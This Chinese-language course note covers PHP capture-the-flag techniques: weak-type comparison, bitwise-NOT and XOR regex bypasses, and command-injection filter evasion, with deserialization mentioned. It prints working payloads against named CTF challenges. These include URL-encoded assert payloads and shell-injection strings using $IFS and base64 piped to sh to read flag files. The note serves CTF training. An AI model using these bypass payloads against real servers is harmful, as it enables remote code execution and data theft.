84:CTF夺旗-PHP弱类型&异或取反&序列化&RCE
思维导图
本课重点:
- 案例1:PHP-相关总结知识点-后期复现
- 案例2:PHP-弱类型对比绕过测试-常考点
- 案例3:PHP-正则preg_match绕过-常考点
- 案例4:PHP-命令执行RCE变异绕过-常考点
- 案例5:PHP-反序列化考题分析构造复现-常考点
案例1:PHP-相关总结知识点-后期复现
相关PHP所有总结知识点参考:
https://www.cnblogs.com/iloveacm/category/1791836.html
1 ctf变量 2 php的弱类型比较问题 3 php断言(assert) 4 php读取目录下文件的方法 5 preg_match绕过 6 PHP中sha1()函数和md5() 1 异或注入 2 updatexml()函数报错注入 3 源文件泄露利用 4 extract变量覆盖 5 strcmp()漏洞 6 md5()漏洞 7 ereg()截断漏洞 8 弱类型整数大小比较绕过 1 命令执行 2 md5()漏洞 3 escapeshellarg()与escapeshellcmd() 4 sql注入绕过关键字 5 preg_replace/e的命令执行漏洞 6 MYSQL特殊模式 7 PHP字符串解析特性
案例2:PHP-弱类型对比绕过测试-常考点
弱类型绕过对比总结:
https://www.cnblogs.com/Mrsm1th/p/6745532.html
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
举例
//对函数类型有限制 <?php $num=$_GET['num']; if (!is_numeric($num)){ echo $num; if($num==l) echo 'flag{*****flag****} '; ?> //indexl.php?num=1x //indexl.php?num=1%0a
传参1x,得到flag。
案例3:PHP-正则preg_match绕过-常考点
ctf中 preg_match 绕过技术:
- 方法1:异或
- 方法2:取反
- 方法3:数组
- 方法4: PCRE
- 方法5∶换行符
- 参考:http://t.zoukankan.com/v01cano-p-11736722.html
真题:preg_match绕过-ctfhub-2020-第五空间智能安全大赛-web-hate_php
靶场地址:https://www.ctfhub.com/#/challenge
<1>打开页面,显示如下代码
<?php error_reporting(0); if(!isset($_GET['code'])){ highlight_file(__FILE__); }else{ $code = $_GET['code']; if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me'); } $blacklist = get_defined_functions()['internal']; foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } } assert($code); }
<2>第一个正则表达式过滤了很多字符且不区分大小写。第二个正则表达式过滤了PHP的内置函数,因此即使找到了某个函数恰好可以绕过第一个,也过不去第二个过滤。这样的题目,一般的思路就是利用异或或者取反来绕过。这里用取反来绕过。
首先打印当前目录下的文件:print_r(scandir('.'))
<?php echo urlencode(~'print_r'); //urlencode url编码 ~ 取反 echo "\n"; echo urlencode(~'scandir'); echo "\n"; echo urlencode(~'.'); ?>
//生成payload:/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))
然后显示flag内容:highlight_file('flag.php')
<?php echo urlencode(~'highlight_file'); echo "\n"; echo urlencode(~'flag.php'); ?> //生成payload:/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))
成功拿到flag。
案例4:PHP-命令执行RCE变异绕过-常考点
命令执行常见绕过:https://www.cnblogs.com/iloveacm/p/13687654.html
靶场地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping
<1>场景打开如下,猜测有命令执行漏洞。
<2>使用管道符,成功列出当前目录下文件
<3>尝试读取flag文件,失败,发现过滤了空格、特殊字符、关键字flag等。
<4>尝试绕过
空格绕过方式: $IFS ${IFS} $IFS$数字 < <> 三种绕过方式: 1.sh /?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh 2.变量拼接 /?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php 3.内联注释(将反引号命令的结果作为输入来执行命令) /?ip=127.0.0.1;cat$IFS$2`ls`
使用变量拼接的方式,成功绕过,得到flag。(需要右击查看网页源代码)
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
同样,也可以查看网页源代码,分析绕过规则
/?ip=127.0.0.1;cat$IFS$2index.php
<?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); } ?>
案例5:PHP-反序列化考题分析构造复现-常考点
真题:网鼎杯2020-青龙组-web-AreUserialz
靶场地址:https://www.ctfhub.com/#/challenge
发现Flag位置-反序列化考点-分析代码-构造代码生成Payload
具体解题步骤参考前面笔记 37:WEB漏洞-反序列化之PHP&JAVA全解(上)
https://www.cnblogs.com/zhengna/p/15661109.html
涉及资源:
- https://www.cnblogs.com/iloveacm/category/1791836.html CTF知识点
- https://buuoj.cn/challenges 靶场
- https://www.ctfhub.com/#/challenge ctf
- http://t.zoukankan.com/v01cano-p-11736722.html ctf中 preg_match 绕过技术 | 无字母数字的webshell
- https://www.cnblogs.com/iloveacm/p/13687654.html 命令执行